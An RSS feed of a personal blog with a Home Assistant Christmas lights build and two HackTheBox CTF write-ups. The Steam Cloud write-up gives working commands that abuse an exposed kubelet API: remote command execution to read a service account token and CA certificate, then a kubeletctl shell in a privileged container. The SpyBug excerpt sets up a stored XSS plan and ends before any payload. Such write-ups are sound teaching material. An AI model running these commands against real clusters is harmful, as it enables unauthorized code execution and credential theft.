<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/rss.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Dorp&apos;s Blog</title><description>Dorp&apos;s personal blog about every fun thing he does</description><link>https://dorp.me</link><item><title>Christmas lights hack</title><link>https://dorp.me/posts/christmas-lights-hack</link><guid isPermaLink="true">https://dorp.me/posts/christmas-lights-hack</guid><description>A project to bring a little more mood lighting to my room, with a hacked set of Christmas lights connected to an ESP controller such that I could control them via Home Assistant with just one button press.</description><pubDate>Tue, 02 Feb 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;A project to bring a little more mood lighting to my room. Originally I had one Ikea light which was just a little too bright. So I decided to buy cheap Christmas lights, but these required batteries and had to be switched off individually, too much effort. So I hacked them by cutting off the batteries and connecting them to an ESP controller such that I could control them via Home Assistant with just one button press.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Before and after&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./old-c.png&quot; alt=&quot;Triangular wall shelves lit only by a single bright lamp on the bottom shelf&quot; title=&quot;Before: one Ikea lamp, a little too bright&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./new-c.png&quot; alt=&quot;The same shelves lit evenly by strings of warm fairy lights on each shelf&quot; title=&quot;After: fairy lights on every shelf&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Shopping list&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;qty&lt;/th&gt;
&lt;th&gt;price&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Wemos D1 mini&lt;/td&gt;
&lt;td&gt;1 x&lt;/td&gt;
&lt;td&gt;1.50 €&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2N2222 transistor&lt;/td&gt;
&lt;td&gt;3 x&lt;/td&gt;
&lt;td&gt;0.10 €&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1k resistor&lt;/td&gt;
&lt;td&gt;3 x&lt;/td&gt;
&lt;td&gt;0.10 €&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;30x15mm perfboard&lt;/td&gt;
&lt;td&gt;1 x&lt;/td&gt;
&lt;td&gt;0.20 €&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DC-DC Buck converter&lt;/td&gt;
&lt;td&gt;1 x&lt;/td&gt;
&lt;td&gt;0.30 €&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wire&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Christmas lights&lt;/td&gt;
&lt;td&gt;3 x&lt;/td&gt;
&lt;td&gt;~1.80 €&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Tools&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Soldering essentials&lt;/li&gt;
&lt;li&gt;3D printer&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Build log&lt;/h2&gt;
&lt;p&gt;Every good project of course starts off with a good plan. For this I drew a circuit, which I then tried on a breadboard which seemed to work fine. Initially without resistors, but this caused the ESP to heat up.&lt;/p&gt;
&lt;p&gt;The circuit design works as follows. There are three LEDs placed before transistors. These transistors control the flow and allow us to digitally switch the LEDs. The transistors are connected to GPIO 5-7 with a resistor to limit the current.
The LEDs are powered from a DC-DC buck converter to provide them with 4.5 volts, equivalent to 3xAA. The buck converter is connected to the 5V and ground pins.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./schematic-c.png&quot; alt=&quot;Hand-drawn schematic on grid paper: three LEDs switched by transistors with 1k base resistors on GPIO 5, 6 and 7, powered by a buck converter from 5V&quot; title=&quot;The circuit plan&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Construction&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./underside-c.png&quot; alt=&quot;Solder side of the perfboard with resistors and yellow, red and black jumper wires, next to a Wemos D1 mini&quot; title=&quot;The solder side, a bit of a mess&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It became a bit of a mess because I mirrored the pins incorrectly at first. After that I also had to add resistors to the already finished board. But everything still fitted within the footprint and I called it good enough.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./under-c.png&quot; alt=&quot;Component side of the perfboard with female headers and the buck converter soldered flat, next to a Wemos D1 mini&quot; title=&quot;Headers and the buck converter&quot; /&gt;&lt;/p&gt;
&lt;p&gt;On the other side are all the headers and the buck converter. The buck converter is soldered to the board to make it more low profile and fit under the ESP. On the converter the traces at adjust are connected, allowing me to turn the potentiometer on the other side to set the voltage. This was set to 4.5V. The top headers allow us to plug in the Christmas lights.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Clights-c.png&quot; alt=&quot;A string of fairy lights with its battery pack holding three AA batteries&quot; title=&quot;The cheap battery-powered Christmas lights&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then the lights. These are cheap store-bought Christmas lights. All we have to do is cut off the battery pack and connect a male header to them. I used these connectors because these were the smallest connectors I had around. I also created some wire extensions to connect the light to the controller. These are just simple wires with headers connected to them.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./connector-c.png&quot; alt=&quot;A white 3D-printed box and a red lid with a cut-out logo, next to the assembled controller&quot; title=&quot;The 3D-printed enclosure&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then it is time to create an enclosure. The electronics are just housed in a simple box with two holes. One for the USB and the other for the light. The logo is cut out to allow more heat to escape, and it looks nice as well.&lt;/p&gt;
&lt;h3&gt;Home Assistant&lt;/h3&gt;
&lt;p&gt;Now that the construction is finished we can add the code. Since we will use this as an integration with Home Assistant, we can use ESPHome, which allows us to define its functions with just one YAML config.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;esphome:
  name: christmas_lights
  platform: ESP8266
  board: d1_mini_lite

wifi:
  ssid: &quot;WIFINAME&quot;
  password: &quot;PASSWORD&quot;

  # Enable fallback hotspot (captive portal) in case wifi connection fails
  ap:
    ssid: &quot;Christmass Ligths&quot;
    password: &quot;FALLBACKPASSWORD&quot;

captive_portal:

# Enable logging
logger:

# Enable Home Assistant API
api:

ota:

output:
  - platform: esp8266_pwm
    pin: 12
    frequency: 1000 Hz
    id: pwm_output0
  - platform: esp8266_pwm
    pin: 14
    frequency: 1000 Hz
    id: pwm_output1
  - platform: esp8266_pwm
    pin: 13
    frequency: 1000 Hz
    id: pwm_output2


light:
  - platform: monochromatic
    output: pwm_output0
    name: &quot;shelfTop&quot;
  - platform: monochromatic
    output: pwm_output1
    name: &quot;shelfMiddle&quot;
  - platform: monochromatic
    output: pwm_output2
    name: &quot;shelfBottom&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With that flashed we can now use our new smart lights. I use the lights with an automation which turns them on when the sun is down. But there can be many examples of interesting use cases.&lt;/p&gt;
</content:encoded><author>Dorp</author></item><item><title>Writeup: Steam Cloud</title><link>https://dorp.me/posts/steam-cloud</link><guid isPermaLink="true">https://dorp.me/posts/steam-cloud</guid><description>A writeup for the HackTheBox Uni CTF challenge Steam Cloud</description><pubDate>Tue, 19 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Steam Cloud was a Cloud challenge from the HackTheBox University qualifier.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;&lt;code&gt;nmap&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;As always, it is best to start with an &lt;code&gt;nmap&lt;/code&gt; scan:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜ nmap -sC -sV 10.129.227.136
22/tcp    open  ssh              OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 e7:0d:f9:66:cf:c8:54:e4:72:3f:87:f2:60:34:e9:1c (RSA)
|   256 35:21:a2:1f:a9:dd:32:83:67:c8:97:7f:17:61:27:d0 (ECDSA)
|_  256 22:08:6d:95:2c:9a:5e:06:58:e5:5e:57:a3:c2:35:84 (ED25519)
2379/tcp  open  ssl/etcd-client?
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.96.107, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2021-11-20T14:29:00
|_Not valid after:  2022-11-20T14:29:00
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  h2
2380/tcp  open  ssl/etcd-server?
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.96.107, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2021-11-20T14:29:00
|_Not valid after:  2022-11-20T14:29:00
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  h2
8443/tcp  open  ssl/https-alt
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: fb620265-f85a-4183-8ce2-ac97bf0b3443
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: ff99352c-cbd6-46e5-a170-da75cbe306fe
|     X-Kubernetes-Pf-Prioritylevel-Uid: c324b812-613f-4329-8ecc-eeaab989ce61
|     Date: Sat, 20 Nov 2021 15:08:22 GMT
|     Content-Length: 212
|     {&quot;kind&quot;:&quot;Status&quot;,&quot;apiVersion&quot;:&quot;v1&quot;,&quot;metadata&quot;:{},&quot;status&quot;:&quot;Failure&quot;,&quot;message&quot;:&quot;forbidden: User &quot;system:anonymous&quot; cannot get path &quot;/nice ports,/Trinity.txt.bak&quot;&quot;,&quot;reason&quot;:&quot;Forbidden&quot;,&quot;details&quot;:{},&quot;code&quot;:403}
|   GetRequest:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 3249e779-382e-441d-aff4-1053f0b1d492
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: ff99352c-cbd6-46e5-a170-da75cbe306fe
|     X-Kubernetes-Pf-Prioritylevel-Uid: c324b812-613f-4329-8ecc-eeaab989ce61
|     Date: Sat, 20 Nov 2021 15:08:22 GMT
|     Content-Length: 185
|     {&quot;kind&quot;:&quot;Status&quot;,&quot;apiVersion&quot;:&quot;v1&quot;,&quot;metadata&quot;:{},&quot;status&quot;:&quot;Failure&quot;,&quot;message&quot;:&quot;forbidden: User &quot;system:anonymous&quot; cannot get path &quot;/&quot;&quot;,&quot;reason&quot;:&quot;Forbidden&quot;,&quot;details&quot;:{},&quot;code&quot;:403}
|   HTTPOptions:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 5062933f-d679-48bc-ab92-00a9b93d2199
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: ff99352c-cbd6-46e5-a170-da75cbe306fe
|     X-Kubernetes-Pf-Prioritylevel-Uid: c324b812-613f-4329-8ecc-eeaab989ce61
|     Date: Sat, 20 Nov 2021 15:08:22 GMT
|     Content-Length: 189
|_    {&quot;kind&quot;:&quot;Status&quot;,&quot;apiVersion&quot;:&quot;v1&quot;,&quot;metadata&quot;:{},&quot;status&quot;:&quot;Failure&quot;,&quot;message&quot;:&quot;forbidden: User &quot;system:anonymous&quot; cannot options path &quot;/&quot;&quot;,&quot;reason&quot;:&quot;Forbidden&quot;,&quot;details&quot;:{},&quot;code&quot;:403}
|_http-title: Site doesn&apos;t have a title (application/json).
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.129.96.107, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2021-11-19T14:28:57
|_Not valid after:  2024-11-19T14:28:57
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|   h2
|_  http/1.1
10249/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn&apos;t have a title (text/plain; charset=utf-8).
10250/tcp open  ssl/http         Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn&apos;t have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=steamcloud@1637418543
| Subject Alternative Name: DNS:steamcloud
| Not valid before: 2021-11-20T13:29:03
|_Not valid after:  2022-11-20T13:29:03
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|   h2
|_  http/1.1
10256/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn&apos;t have a title (text/plain; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8443-TCP:V=7.91%T=SSL%I=7%D=11/20%Time=61990F66%P=x86_64-pc-linux-g
SF:nu%r(GetRequest,22F,&quot;HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x203249
SF:e779-382e-441d-aff4-1053f0b1d492\r\nCache-Control:\x20no-cache,\x20priv
SF:ate\r\nContent-Type:\x20application/json\r\nX-Content-Type-Options:\x20
SF:nosniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x20ff99352c-cbd6-46e5-a170-d
SF:a75cbe306fe\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x20c324b812-613f-4329
SF:-8ecc-eeaab989ce61\r\nDate:\x20Sat,\x2020\x20Nov\x202021\x2015:08:22\x2
SF:0GMT\r\nContent-Length:\x20185\r\n\r\n{\&quot;kind\&quot;:\&quot;Status\&quot;,\&quot;apiVersion
SF:\&quot;:\&quot;v1\&quot;,\&quot;metadata\&quot;:{},\&quot;status\&quot;:\&quot;Failure\&quot;,\&quot;message\&quot;:\&quot;forbidde
SF:n:\x20User\x20\\\&quot;system:anonymous\\\&quot;\x20cannot\x20get\x20path\x20\\\&quot;
SF:/\\\&quot;\&quot;,\&quot;reason\&quot;:\&quot;Forbidden\&quot;,\&quot;details\&quot;:{},\&quot;code\&quot;:403}\n&quot;)%r(HTT
SF:POptions,233,&quot;HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x205062933f-d6
SF:79-48bc-ab92-00a9b93d2199\r\nCache-Control:\x20no-cache,\x20private\r\n
SF:Content-Type:\x20application/json\r\nX-Content-Type-Options:\x20nosniff
SF:\r\nX-Kubernetes-Pf-Flowschema-Uid:\x20ff99352c-cbd6-46e5-a170-da75cbe3
SF:06fe\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x20c324b812-613f-4329-8ecc-e
SF:eaab989ce61\r\nDate:\x20Sat,\x2020\x20Nov\x202021\x2015:08:22\x20GMT\r\
SF:nContent-Length:\x20189\r\n\r\n{\&quot;kind\&quot;:\&quot;Status\&quot;,\&quot;apiVersion\&quot;:\&quot;v1
SF:\&quot;,\&quot;metadata\&quot;:{},\&quot;status\&quot;:\&quot;Failure\&quot;,\&quot;message\&quot;:\&quot;forbidden:\x20U
SF:ser\x20\\\&quot;system:anonymous\\\&quot;\x20cannot\x20options\x20path\x20\\\&quot;/\\
SF:\&quot;\&quot;,\&quot;reason\&quot;:\&quot;Forbidden\&quot;,\&quot;details\&quot;:{},\&quot;code\&quot;:403}\n&quot;)%r(FourOh
SF:FourRequest,24A,&quot;HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x20fb620265
SF:-f85a-4183-8ce2-ac97bf0b3443\r\nCache-Control:\x20no-cache,\x20private\
SF:r\nContent-Type:\x20application/json\r\nX-Content-Type-Options:\x20nosn
SF:iff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x20ff99352c-cbd6-46e5-a170-da75c
SF:be306fe\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x20c324b812-613f-4329-8ec
SF:c-eeaab989ce61\r\nDate:\x20Sat,\x2020\x20Nov\x202021\x2015:08:22\x20GMT
SF:\r\nContent-Length:\x20212\r\n\r\n{\&quot;kind\&quot;:\&quot;Status\&quot;,\&quot;apiVersion\&quot;:\
SF:&quot;v1\&quot;,\&quot;metadata\&quot;:{},\&quot;status\&quot;:\&quot;Failure\&quot;,\&quot;message\&quot;:\&quot;forbidden:\x
SF:20User\x20\\\&quot;system:anonymous\\\&quot;\x20cannot\x20get\x20path\x20\\\&quot;/nic
SF:e\x20ports,/Trinity\.txt\.bak\\\&quot;\&quot;,\&quot;reason\&quot;:\&quot;Forbidden\&quot;,\&quot;details\
SF:&quot;:{},\&quot;code\&quot;:403}\n&quot;);
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 103.89 seconds

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We got quite some results. Also some unrecognized ports. However, a quick search reveals that on port 10250 the &lt;a href=&quot;https://kubernetes.io/docs/concepts/overview/kubernetes-api/&quot;&gt;kubelet API&lt;/a&gt; is hosted.&lt;/p&gt;
&lt;h2&gt;Kubelet API&lt;/h2&gt;
&lt;p&gt;After searching around how to interact with the kubelet API, we have found &lt;a href=&quot;https://gist.github.com/lizrice/c32740fac51db2a5518f06c3dae4944f&quot;&gt;this gist&lt;/a&gt; that showed an interesting API endpoint hosted on the kubelet API: &lt;code&gt;https://10.129.227.136:10250/pods&lt;/code&gt;. Doing a &lt;code&gt;curl&lt;/code&gt; to this endpoint showed us &lt;em&gt;a lot&lt;/em&gt; of information about the kubernetes cluster. Most interesting was that the &lt;code&gt;kube-proxy&lt;/code&gt; pod contains a privileged container.&lt;/p&gt;
&lt;p&gt;From &lt;a href=&quot;https://faun.pub/attacking-kubernetes-clusters-using-the-kubelet-api-abafc36126ca&quot;&gt;this article&lt;/a&gt; we also found the &lt;code&gt;runningpods/&lt;/code&gt; endpoint which revealed a lot of detailed information too about the pods that we can interact with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜ curl -sk https://10.129.227.136:10250/runningpods/ |  jq &apos;.items[].metadata.name&apos;
&quot;kube-apiserver-steamcloud&quot;
&quot;etcd-steamcloud&quot;
&quot;nginx&quot;
&quot;storage-provisioner&quot;
&quot;coredns-78fcd69978-zbwf9&quot;
&quot;kube-proxy-84qt4&quot;
&quot;kube-controller-manager-steamcloud&quot;
&quot;kube-scheduler-steamcloud&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we have everything to be able to interact with the pods.&lt;/p&gt;
&lt;h2&gt;Getting code execution&lt;/h2&gt;
&lt;p&gt;The gist previously mentioned also described a way to get code execution, namely through the &lt;code&gt;exec/&lt;/code&gt; endpoint on port 10250. This method is also described in the article and we know from that, that it is interesting to get the service account token:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜ curl -XPOST -k \
  https://10.129.227.136:10250/run/kube-system/kube-proxy-84qt4/kube-proxy \
  -d &quot;cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token&quot;
eyJhbGciOiJSUzI1NiIsImtpZCI6ImR5VFdmTTk2WnRENW5QVWRfaXF0SFhTV1VVeG9fWkRGQm9hMTN4VlBzRm8ifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjY4OTQwMTUxLCJpYXQiOjE2Mzc0MDQxNTEsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsInBvZCI6eyJuYW1lIjoia3ViZS1wcm94eS04NHF0NCIsInVpZCI6ImY3Nzk3MWRhLWZkZjgtNGU5YS1hNzdlLWU1YWU1MzljNDdmMCJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoia3ViZS1wcm94eSIsInVpZCI6ImM1YjBlOTljLTljYTUtNDFhNy04OTBkLTZiM2RjMTZmMzc5NCJ9LCJ3YXJuYWZ0ZXIiOjE2Mzc0MDc3NTh9LCJuYmYiOjE2Mzc0MDQxNTEsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDprdWJlLXN5c3RlbTprdWJlLXByb3h5In0.y9XWqSPMJUw7MkBI13mPkSrqtXdiYkVusJGMdqY50aO4JGuJDc0TO0ZbGGo0Hzo9ik-Xs9pGSICl86EsqxYx2whR9RnS3bxujTXSPuIJJtVpwAbLoMZjWGxF6acvTcyREKxRDbSced6YdlwkkpzIH7ck1lvhyvrTfQqmOojMs64xrnz7qKg80qfQVGtXS9m2gywPRLFyeDwdrTPln-yKiZAdDmHarXLiaiBsrWXgcsurTB6ksJqlCS43yjXUWMN5F4cBtgEuCOWoAn7qJELt_AqzlBCk0eJz_gH5DnF_V7bl7MSOPa1phb271KCy3FXZqVR56BLv0WyjVtazN6b3zw
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we have obtained the service account token and we can use &lt;code&gt;kubectl&lt;/code&gt; to interact with the API. We can try to extract some secrets:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kubectl --insecure-skip-tls-verify=true --server=&quot;https://10.129.227.136:10250&quot; --token=&quot;eyJhbG[snip]zN6b3zw&quot; get secrets --all-namespaces
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However, this didn&apos;t result in any output...&lt;/p&gt;
&lt;p&gt;We tried to get a reverse shell using this method for code execution, but file descriptors did not work in this shell and there were almost no binaries to use for a reverse shell.&lt;/p&gt;
&lt;h2&gt;Getting a shell&lt;/h2&gt;
&lt;p&gt;After searching around on the internet for some useful tools, we have found &lt;a href=&quot;https://github.com/cyberark/kubeletctl&quot;&gt;kubeletctl&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;cyberark/kubeletctl&quot;} This tool uses the &lt;code&gt;kubectl&lt;/code&gt; config to interact with the kubelet API. In order for this tool to work, we also need the &lt;code&gt;ca.crt&lt;/code&gt; in the container, so we get that too using our method for code execution:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜ curl -XPOST -k \
  https://10.129.227.136:10250/run/kube-system/kube-proxy-84qt4/kube-proxy \
  -d &quot;cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt&quot;
-----BEGIN CERTIFICATE-----
MIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p
a3ViZUNBMB4XDTIxMTExNTExNDUyOVoXDTMxMTExNDExNDUyOVowFTETMBEGA1UE
AxMKbWluaWt1YmVDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJ5e
vZyukR7NVz3KtzprRBO0oDPOMBPIhOyHfkhVvn1oRtDVyK5ivlvIYdSFUp6OVJGq
3KTGq/cU3UCULcdAm4fUUNddkhuhGyzSnIy80yu9PAnCWqebi3tMykvpNdV7NqAs
aVh+iRLc7I0w9Bi1zU0DvMIDwvEgSbkpd06+aBKfg3P2zbosHUhGyPw5V5nfGhcE
SKdMLyCaEpmJg8hHIMMqDOthTUoVKXxtLUFlYu7GPspXeWIv2CmH383MslUgx5ak
SI57eh9mzPZXVh3cjcJWejoq00LNLoVdm+bdUzn8pvVIxvzellHzQ/IcpLT/GufE
DAFvCfOndI+AOCKu4jMCAwEAAaNhMF8wDgYDVR0PAQH/BAQDAgKkMB0GA1UdJQQW
MBQGCCsGAQUFBwMCBggrBgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
BBRG6VO+4YmEyjQkvCBG3vYqpneGajANBgkqhkiG9w0BAQsFAAOCAQEAAF2csmso
G+AfEm0U+wAxTNtEkUBdk0seswj7TkQyCwt5qGgX4wctjCo0kwvgmnz5QpWM0t0M
GFoUUWCtIYWCzS/W1QK04PTI9/4IgJOEi584SBCx+/cF4HTSB3+a3dWp9OXd/KP4
rkjaZZU2DUZfp4B5brBUmP5h1MTnXJnI+5jcmF7kF6uhE4DgYbMrj7SkG/egT5GX
6cwgh4RhMzdTJxdVCVhjACynSUvg4sllk2YF/0Nda/v3C8gDhUDcO6qyXqfutAGE
MhxgN4lKI0zpxFBTpIwJ3iZemSfh3pY2UqX03ju4TreksGMkX/hZ2NyIMrKDpolD
602eXnhZAL3+dA==
-----END CERTIFICATE-----
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;kubeletctl&lt;/code&gt; has the following useful option:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;exec          Run commands inside a container
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To get a shell in the privileged &lt;code&gt;kube-proxy&lt;/code&gt; container running in the &lt;code&gt;kube-proxy-84qt4&lt;/code&gt; pod, we have to configure &lt;code&gt;kubeletctl&lt;/code&gt; to use the right namespace (&lt;code&gt;kube-system&lt;/code&gt;) and we have to give it the certificate we found. The command to get that shell is then the following: &lt;code&gt;kubeletctl exec /bin/sh -p kube-proxy-84qt4 -c kube-proxy -n kube-system -s 10.129.227.136 --cacert ./ca.crt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Now we have a shell in the privileged container. Now we have to find a way to get the flag on the host.&lt;/p&gt;
&lt;h2&gt;Getting the flag&lt;/h2&gt;
&lt;p&gt;The container appears to be very limited. There are almost no binaries available to do some privilege escalation to get to the host.
However, due to the way a teammate solved &lt;a href=&quot;https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/&quot;&gt;GoodGames&lt;/a&gt;, we tried to just grep via &lt;code&gt;/dev/sda1&lt;/code&gt; for the flag:
&lt;img src=&quot;./flags.png&quot; alt=&quot;Grepping /dev/sda1 for the flag prefix returns two HTB flag strings&quot; title=&quot;grep over /dev/sda1 recovers the flag&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And that actually works! We get back two flags, but only one of them worked:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;HTB{d0n7_3Xpo53_Ku83L37}&lt;/code&gt;&lt;/p&gt;
</content:encoded><author>Dorp</author></item><item><title>Writeup: SpyBug</title><link>https://dorp.me/posts/spybug</link><guid isPermaLink="true">https://dorp.me/posts/spybug</guid><description>A writeup for the HackTheBox Cyber Apocalypse 2023 challenge SpyBug</description><pubDate>Sun, 19 Mar 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;As Pandora made her way through the ancient tombs, she received a message from
her contact in the Intergalactic Ministry of Spies. They had intercepted a
communication from a rival treasure hunter who was working for the alien
species. The message contained information about a digital portal that leads to
a software used for intercepting audio from the Ministry&apos;s communication
channels. Can you hack into the portal and take down the aliens counter-spying
operation?&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;First glance&lt;/h2&gt;
&lt;p&gt;A login portal for agents&lt;/p&gt;
&lt;p&gt;We need to login to the &lt;code&gt;/panel&lt;/code&gt; as admin to get the flag rendered&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;router.get(&quot;/panel&quot;, authUser, async (req, res) =&amp;gt; {
  res.render(&quot;panel&quot;, {
    username: req.session.username === &quot;admin&quot;
      ? process.env.FLAG
      : req.session.username,
    agents: await getAgents(),
    recordings: await getRecordings(),
  });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There are two routes. One has the panel where we could find the flag. The other
route is an API for agents where recordings can be uploaded.&lt;/p&gt;
&lt;h2&gt;Identifying attack path&lt;/h2&gt;
&lt;p&gt;There is an admin bot that logs in every few minutes to the panel. This suggests
that we should do a xss attack&lt;/p&gt;
&lt;p&gt;If we take a look at the template for panel, we see that agents and recordings
get rendered. See we should try and modify the data that gets rendered. We can
do this by making an agent and then injecting a script in the hostname.&lt;/p&gt;
&lt;h2&gt;Registering agent&lt;/h2&gt;
&lt;p&gt;If we look in the &lt;code&gt;agents.js&lt;/code&gt; file we can see the route to get a new agent:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;router.get(&quot;/agents/register&quot;, async (req, res) =&amp;gt; {
  res.status(200).json(await registerAgent());
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If we visit this route we get an id an token&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl http://$HOSTNAME/agents/register
{&quot;identifier&quot;:&quot;f1fc3f54-06cb-45d5-8f68-1e9a257a562a&quot;,&quot;token&quot;:&quot;5ca34f0c-410c-4da4-8970-203800977ea2&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We save these for later:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ID=f1fc3f54-06cb-45d5-8f68-1e9a257a562a
TOKEN=5ca34f0c-410c-4da4-8970-203800977ea2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the &lt;code&gt;agents.js&lt;/code&gt; we can also see a check route.
&lt;code&gt;curl http://$HOSTNAME/agents/check/$ID/$TOKEN -&amp;gt; OK&lt;/code&gt; The agent seems to be
working&lt;/p&gt;
&lt;h2&gt;Updating the details&lt;/h2&gt;
